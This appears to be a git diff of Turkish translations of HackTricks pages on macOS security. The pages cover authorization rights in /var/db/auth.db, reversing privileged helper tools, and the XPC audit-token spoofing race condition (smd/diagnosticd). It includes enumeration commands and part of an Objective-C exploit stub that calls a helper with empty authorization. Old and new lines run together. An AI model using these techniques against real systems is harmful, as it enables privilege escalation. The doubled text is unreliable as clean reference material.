Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle: Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
<table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>ıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması iste</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kuralları belirt</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Hakka ek açıklamalar belirt</td></tr></tbody></table> <table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>ıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması iste</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kuralları belirt</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Haklarla ilgili ekstra yorumları belirt</td></tr></tbody></table>
### Hak Doğrulama ### Haklar Doğrulaması
`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**: `HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu yöntemi yürütmeye yetkili olup olmadığını** kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
```objectivec ```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{ {
@ -242,11 +242,11 @@ return error;
``` ```
Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin). Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Bu yüzden **herkes onu çağırabilir**. Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu çağırabilir**.
### DB Bilgisi ### DB Bilgisi
Bu bilginin `/var/db/auth.db` içinde depolandığı belirtildi. Tüm depolanan kuralları listeleyebilirsiniz: Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz:
```sql ```sql
sudo sqlite3 /var/db/auth.db sudo sqlite3 /var/db/auth.db
SELECT name FROM rules; SELECT name FROM rules;
@ -262,7 +262,7 @@ security authorizationdb read com.apple.safaridriver.allow
1. **'authenticate-user': 'false'** 1. **'authenticate-user': 'false'**
* Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez. * Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez.
* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır. * Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kullanılır**.
2. **'allow-root': 'true'** 2. **'allow-root': 'true'**
* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir. * Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
3. **'session-owner': 'true'** 3. **'session-owner': 'true'**
@ -279,17 +279,17 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
Rights with 'session-owner': 'true': Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
``` ```
## Yetkilendirme Geri Mühendisliği ## Yetkilendirme Tersine Çevirme
### EvenBetterAuthorization Kullanılıp Kullanılmadığını Kontrol Etme ### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor: Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir. Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir.
Bazı ayrıcalıklı eylemleri kullanıcı etkileşimi olmadan çağırma izinlerini almak mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin. Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin.
### Protokol İletişimi ### Protokol İletişimi
@ -297,11 +297,11 @@ Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulm
**`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir: **`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeyi bulduk, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkün olacaktır**: Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkünr**:
```bash ```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -315,7 +315,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end @end
[...] [...]
``` ```
Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır: Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunun için birkaç yol bulunmaktadır:
* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer: * **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer:
@ -339,9 +339,9 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
Bu örnekte şunlar oluşturulmuştur: Bu örnekte şunlar oluşturulmuştur:
* Fonksiyonlarla protokolün tanımı * Fonksiyonlarla protokolün tanımı
* Erişim istemek için kullanılacak boş bir kimlik doğrulaması * Erişim istemek için kullanılacak boş bir yetkilendirme
* XPC servisine bağlantı * XPC servisine bağlantı
* Bağlantı başarılıysa fonksiyonu çağırma * Bağlantı başarılıysa fonksiyonun çağrılması
```objectivec ```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl // gcc -framework Foundation -framework Security expl.m -o expl
@ -425,14 +425,14 @@ NSLog(@"Finished!");
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -8,23 +8,23 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
</details> </details>
**Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet: **Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
## Mach Mesajları Temel Bilgiler ## Mach Mesajları Temel Bilgileri
Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın: Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfaya bakmaya başlayın:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %} {% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/) [macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %} {% endcontent-ref %}
Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ Şu anda hatırlamanız gereken şey ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler. Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler.
## XPC Bağlantısı ## XPC Bağlantısı
@ -37,58 +37,58 @@ Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
## Zafiyet Özeti ## Zafiyet Özeti
Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kurulmuştur, bu nedenle:** Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknolojiye dayanır, bu nedenle:**
* Mach portları tek alıcı, **çoklu gönderen**'dir. * Mach portları tek alıcı, **çoklu gönderici**dir.
* Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**. * Bir XPC bağlantısının denetim belirteci, **en son alınan mesajdan kopyalanır**.
* Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir. * Bir XPC bağlantısının **denetim belirtisi**ni elde etmek, birçok **güvenlik denetimi** için kritiktir.
Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimlerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvende olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**. * Denetim belirteçleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimler savunmasız değildir** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belirtecinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**. * XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belirteci diğer normal (yanıt dışı!) mesajlar tarafından üzerine yazılamaz**.
Bu, bu durumun nasıl sorunlara yol açmayacağınııklayan iki farklı yöntemdir: Bu, sömürülebilecek iki farklı yöntemdir:
1. Varyant1: 1. Varyant1:
* **Saldırı**, hizmet **A** ve hizmet **B**'ye bağlanır. * **Sömürü**, hizmet **A** ve hizmet **B'ye bağlanır**
* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir. * Hizmet **B**, kullanıcının yapamayacağı bir **özel işlevi** hizmet **A'da** çağırabilir
* Hizmet **A**, bir **`dispatch_async`** içinde olmadığı sırada **`xpc_connection_get_audit_token`**'ı çağırır. * Hizmet **A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belirteci**ni alır.
* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**. * Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belirteci üzerine yazılabilir**.
* Saldırı, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**. * Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
* Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**. * Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**.
* **Saldırı**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (saldırının ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar). * **Sömürü**, **özel eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belirtecini üzerine yazdı** (sömürünün özel eylemi çağırma erişimine sahip olmasını sağlar).
2. Varyant 2: 2. Varyant 2:
* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir. * Hizmet **B**, kullanıcının yapamayacağı bir **özel işlevi** hizmet **A'da** çağırabilir
* Saldırı, **hizmet A** ile bağlantı kurar ve hizmet **A'dan belirli bir yanıt bekleyen bir mesajı** belirli bir **yanıt** **portuna** gönderir. * Sömürü, **hizmet A'ya bağlanır** ve hizmetten belirli bir **yanıt bekleyen bir mesaj** gönderir.
* Saldırı, **hizmet** B'ye **bu yanıt portunu** geçiren bir mesaj gönderir. * Sömürü, **hizmet** B'ye **bu yanıt bağlantısını** geçen bir mesaj gönderir.
* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken** **saldırı**, ayrıcalıklı bir işleme ulaşmaya çalışan farklı bir **mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu). * Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** hizmet **A'ya farklı bir mesaj göndererek** özel bir işlevi **ulaşmaya çalışır** ve hizmet B'den gelen yanıtın Denetim belirtecini mükemmel anında üzerine yazmasını bekler (Yarış Koşulu).
## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a> ## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Senaryo: Senaryo:
* Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı). * Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı).
* _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz). * _**A**_, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz).
* Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir. * Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylemi gerçekleştirmesine izin verebilir.
* Bu yetkilendirme denetimi için, **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token**'ı çağırarak denetim belgesini asenkron olarak alır. * Bu yetkilendirme denetimi için **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token** çağırarak denetim belirteci alır.
{% hint style="danger" %} {% hint style="danger" %}
Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir saldırı** yaparak **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi** bellekte **kopyalanırken**, saldırımızın **A tarafından işlenirken** **erişimi sadece B'nin isteyebileceği ayrıcalıklı eyleme** sahip olur. Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belirteci** hafızada **kopyalanırken**, **sömürünün** isteği **A tarafından işlenirken**, ayrıcalıklı eyleme **yalnızca B'nin isteyebileceği erişim verilir**.
{% endhint %} {% endhint %}
Bu, **`A`**'nın `smd` ve **`B`**'nin `diagnosticd` olarak olduğu bir durumdu. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. Eğer **root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz. Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaştığında, başka hiçbir denetim yapılmaz.
Bu nedenle, hizmet **B**, **root** olarak çalıştığı için **diagnosticd**'dir ve bir işlemi izlemek için kullanılabilir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderir.** Bu nedenle hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden, izleme başladığında saniyede **çoklu mesaj gönderecektir.**
Saldırıyı gerçekleştirmek için: Saldırıyı gerçekleştirmek için:
1. Standart XPC protokolünü kullanarak `smd` adlı hizmete bir **bağlantı** başlatın. 1. Standart XPC protokolünü kullanarak `smd` adlı hizmete bir **bağlantı** başlatın.
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**. 2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**.
